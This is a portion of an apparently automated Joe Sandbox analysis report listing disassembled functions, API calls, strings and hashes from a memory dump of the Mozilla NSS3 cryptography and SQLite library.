Part of subcall function 6C64F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6C64F789
Part of subcall function 6C64F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6C64F796
Part of subcall function 6C64F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6C64F79F
Part of subcall function 6C64F670: SECITEM_DupItem_Util.NSS3 ref: 6C64F7F0

Part of subcall function 6C673440: PK11_GetAllTokens.NSS3 ref: 6C673481
Part of subcall function 6C673440: PR_SetError.NSS3(00000000,00000000), ref: 6C6734A3
Part of subcall function 6C673440: TlsGetValue.KERNEL32 ref: 6C67352E
Part of subcall function 6C673440: EnterCriticalSection.KERNEL32(?), ref: 6C673542
Part of subcall function 6C673440: PR_Unlock.NSS3(?), ref: 6C67355B

SECITEM_DupItem_Util.NSS3(?), ref: 6C64FDAD

Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C629003,?), ref: 6C67FD91
Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(A4686C68,?), ref: 6C67FDA2
Part of subcall function 6C67FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C68,?,?), ref: 6C67FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C64FE00

Part of subcall function 6C67FD80: free.MOZGLUE(00000000,?,?), ref: 6C67FDD1

Part of subcall function 6C66E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6C64FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6C64FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C64FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C64FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6C64FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C64FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6C650007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6C650029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C650044

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 93cb23d95a0c4a904e45a268425e291d9850e051f2b5c751fdb432a352d03e7e
Instruction ID: e87d0a594a8e91f3181e45db49ed03136957f5b4f7cc8cc9b7dca660410f8dcc
Opcode Fuzzy Hash: 93cb23d95a0c4a904e45a268425e291d9850e051f2b5c751fdb432a352d03e7e
Instruction Fuzzy Hash: DBB1B2B1604301AFE314CF29C840A6AF7E5FF89308F55CA2DE99987A41E770E945CB96

Function 6C647D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C647DDC

Part of subcall function 6C6807B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C628298,?,?,?,6C61FCE5,?), ref: 6C6807BF
Part of subcall function 6C6807B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6807E6
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C68081B
Part of subcall function 6C6807B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C680825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C647DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6C647F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6C647F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6C647F98
PK11_FreeSymKey.NSS3(?), ref: 6C647FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C647FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6C648000

Part of subcall function 6C669430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6C647F0C,?,00000000,00000000,00000000,?), ref: 6C66943B
Part of subcall function 6C669430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6C66946B
Part of subcall function 6C669430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6C669546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C648110
PK11_FreeSymKey.NSS3(00000000), ref: 6C64811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6C64822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6C64823C

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: f40ab3609d6253686141c64d0e8dfe73f0c4b312f5d6e788205730ba2195deb2
Instruction ID: 5c31565d52831ba7de5fc0a5903d0ca318709975053722a773a28752e2befb87
Opcode Fuzzy Hash: f40ab3609d6253686141c64d0e8dfe73f0c4b312f5d6e788205730ba2195deb2
Instruction Fuzzy Hash: 9BC160B1D00259DBEB21CF14CC40FEAB7B9AB09348F00C5E6E909A6651E7319E85CFA5

Function 6C5BAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?), ref: 6C5BB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB0A2
CloseHandle.KERNEL32(?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?,?,?), ref: 6C5BB100
sqlite3_free.NSS3(?,?,00000002,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31,?,?,?,?,?,?,?), ref: 6C5BB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C6DCF46,?,6C5ACDBD,?,6C6DBF31), ref: 6C5BB12D

Part of subcall function 6C5A9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5BC6FD,?,?,?,?,6C60F965,00000000), ref: 6C5A9F0E
Part of subcall function 6C5A9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C60F965,00000000), ref: 6C5A9F5D

Strings

`sl, xrefs: 6C5BB0DF

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `sl
API String ID: 3155957115-3677604414
Opcode ID: 4284a22110c15ce41579919409af3ca0667298c2a1386d9e06ec43a91ed29eda
Instruction ID: 93c27bd5d30e10310e9ad575c7631922be95cddb2d990fc56c5c7b8dcb7b5865
Opcode Fuzzy Hash: 4284a22110c15ce41579919409af3ca0667298c2a1386d9e06ec43a91ed29eda
Instruction Fuzzy Hash: 3D91D0B0A042098FDB04DF65CC94ABBBBB1FF46308F244A3DE416A7A50EB71E845CB51

Function 6C650EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C650F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C650FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C651006
PK11_FreeSymKey.NSS3(?), ref: 6C65101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C651033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C65103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C651048
memcpy.VCRUNTIME140(?,?,?), ref: 6C65108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6510BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6510D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C65112E

Part of subcall function 6C651570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6508C4,?,?), ref: 6C6515B8
Part of subcall function 6C651570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6508C4,?,?), ref: 6C6515C1
Part of subcall function 6C651570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65162E
Part of subcall function 6C651570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C651637

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: b180aa2fc790b754b47b208795c3a9a46675931a54a67249e0d8125228e8e052
Instruction ID: 43b40cd92ac3492d6b6d5812730c2bf32bfb850fe4f5857ca6f43c0b4ab61ebb
Opcode Fuzzy Hash: b180aa2fc790b754b47b208795c3a9a46675931a54a67249e0d8125228e8e052
Instruction Fuzzy Hash: 4271D1B5E002059FDB10CFA5CC84AAAB7F4BF48318F64862DE90997711EB31D964CB99

Function 6C671CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C671F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C672166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C67228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6723B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67241C

Strings

serial, xrefs: 6C6722A2
model, xrefs: 6C6723CB, 6C6723EC
token, xrefs: 6C671F2C
manufacturer, xrefs: 6C672179

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c619f8377e228085ceee9c3e203d1d8e3a8f56deaae366561a2a7989f9094a62
Instruction ID: ef220cb277ef8729d0c33e0b6c0ef820487334366f6391e16902567cfba7969b
Opcode Fuzzy Hash: c619f8377e228085ceee9c3e203d1d8e3a8f56deaae366561a2a7989f9094a62
Instruction Fuzzy Hash: E2022FA2D0CBC8AEF7318671C44C7D76BE09B45328F0C1A6EC6DE46683D7AC59889365

Function 6C5B0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C60F9C9,?,6C60F4DA,6C60F9C9,?,?,6C5D369A), ref: 6C5ACA7A
Part of subcall function 6C5ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5ACB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5B103E
EnterCriticalSection.KERNEL32(?), ref: 6C5B1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5B1190
sqlite3_free.NSS3(00000000), ref: 6C5B1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5B126E
sqlite3_free.NSS3(?), ref: 6C5B127F

Strings

winAccess, xrefs: 6C5B129B
Psl, xrefs: 6C5B109E
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5B1267

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Psl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1037850672
Opcode ID: 394508d2426dbf25de9d738553ccdc9736f5e230e0edba4765d47bd380070e59
Instruction ID: db38570d0a0007e617927067324b6726e72aa80c9ca57b127adf791b42a68d29
Opcode Fuzzy Hash: 394508d2426dbf25de9d738553ccdc9736f5e230e0edba4765d47bd380070e59
Instruction Fuzzy Hash: 457139317056199FEB44CF25DCA9AAF7B75FB87314F240639E915A7A80EB30D801C7A2

Function 6C676C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C3F

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C60
PR_ExplodeTime.NSS3(00000000,6C621C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C621C6F,00000000,00000004,?,?), ref: 6C676C94

Strings

gfff, xrefs: 6C676D9C
gfff, xrefs: 6C676CFD
gfff, xrefs: 6C676D30
gfff, xrefs: 6C676CF5
gfff, xrefs: 6C676D66

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: cd5c89e07cc709300ace23693ce4f02e2b4cb479fc9a688699c2b9fe34caac90
Instruction ID: 70f3b5336c23a227bd0e35b687fa7c829ca067944fb99ec95d0d917649dd3475
Opcode Fuzzy Hash: cd5c89e07cc709300ace23693ce4f02e2b4cb479fc9a688699c2b9fe34caac90
Instruction Fuzzy Hash: A2513B72B016494FC718CDADDC527DEBBDAABA4310F48C23AE442DB781EA78D906C751

Function 6C6F0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C6F1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6F10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F1353

Strings

zeroblob(%d), xrefs: 6C6F1223
'%.*q', xrefs: 6C6F1217, 6C6F1292
%lld, xrefs: 6C6F114B
-- , xrefs: 6C6F0FF5
$, xrefs: 6C6F12A0
%02x, xrefs: 6C6F12F6
NULL, xrefs: 6C6F119E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: d739e3eadf3de14036a3bf4899ab9fb651e91a1a16b00567788319a769e8ef3d
Instruction ID: 3072c9bdb272fb8dff1de109b31244a75127840e64b7ec5ce425b1c5771d0cd8
Opcode Fuzzy Hash: d739e3eadf3de14036a3bf4899ab9fb651e91a1a16b00567788319a769e8ef3d
Instruction Fuzzy Hash: 95E1B3B160C3409FD704CF58C480AABBBF2BF86398F14491DE9A587B51D771E946CB4A

Function 6C6F8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6F8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6F9209

Strings

3333, xrefs: 6C6F925E
UUUU, xrefs: 6C6F9255

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: ee5fa083967c0c0cf300499d73027442966cddded69102c571544468133bb16d
Instruction ID: 96aacde7b9c11d151ddce062a0fac06f1205976de8636bbc5f86edacd135b343
Opcode Fuzzy Hash: ee5fa083967c0c0cf300499d73027442966cddded69102c571544468133bb16d
Instruction Fuzzy Hash: CCA1BE72E001159BDB04CF68CC94BDEB7B6AF49328F194179E915A7341E736AC42CBA4

Function 6C68BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C68BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C68BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C68BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C68BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C68BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C68BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C68BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C68BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C68BE1E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 76953c99a35981b45f404d9f00968aef154bff3c852a9b2a0b1f0627858c7e95
Instruction ID: d7d5354c02536375824ee003bd6d03c7def66738c6c6e48428e913b750e274e1
Opcode Fuzzy Hash: 76953c99a35981b45f404d9f00968aef154bff3c852a9b2a0b1f0627858c7e95
Instruction Fuzzy Hash: 2321D576E062996BFF0046569C47F8F32B49BD278DF080464FA26EE641F7109418C6FE

Function 6C738D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7814E4,6C6ECC70), ref: 6C738D47
PR_GetCurrentThread.NSS3 ref: 6C738D98

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C738E7B
htons.WSOCK32(?), ref: 6C738EDB
PR_GetCurrentThread.NSS3 ref: 6C738F99
PR_GetCurrentThread.NSS3 ref: 6C73910A

Strings

%u.%u.%u.%u, xrefs: 6C738E74

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 503bf4149f927fde907fedebb522e15b07e958b07641d4dcb4fc2941798504dd
Instruction ID: 8a43d7ea081077208b9390ecb29179b5ca07fbfe0c227e78b255f38008299ee9
Opcode Fuzzy Hash: 503bf4149f927fde907fedebb522e15b07e958b07641d4dcb4fc2941798504dd
Instruction Fuzzy Hash: 4602DD319052718FDB04CF19C5687A6BBB3EF52344F29826AC8996FB93C731D909C391

Function 6C5BEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

temporary table name must be unqualified, xrefs: 6C5BF734
table, xrefs: 6C5BF05C, 6C5BFABC, 6C5BFAC7
sqlite_temp_master, xrefs: 6C5BF0A6, 6C5BF2D5
authorizer malfunction, xrefs: 6C5BF95C, 6C5BF9BF, 6C5BFA5E, 6C5BFA8B
not authorized, xrefs: 6C5BF957, 6C5BF9BA
there is already an index named %s, xrefs: 6C5BF9D7
view, xrefs: 6C5BF061, 6C5BF071, 6C5BFAB7
%s %T already exists, xrefs: 6C5BFAC8
sqlite_master, xrefs: 6C5BF0AB, 6C5BF2DA, 6C5BF757, 6C5BF93E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
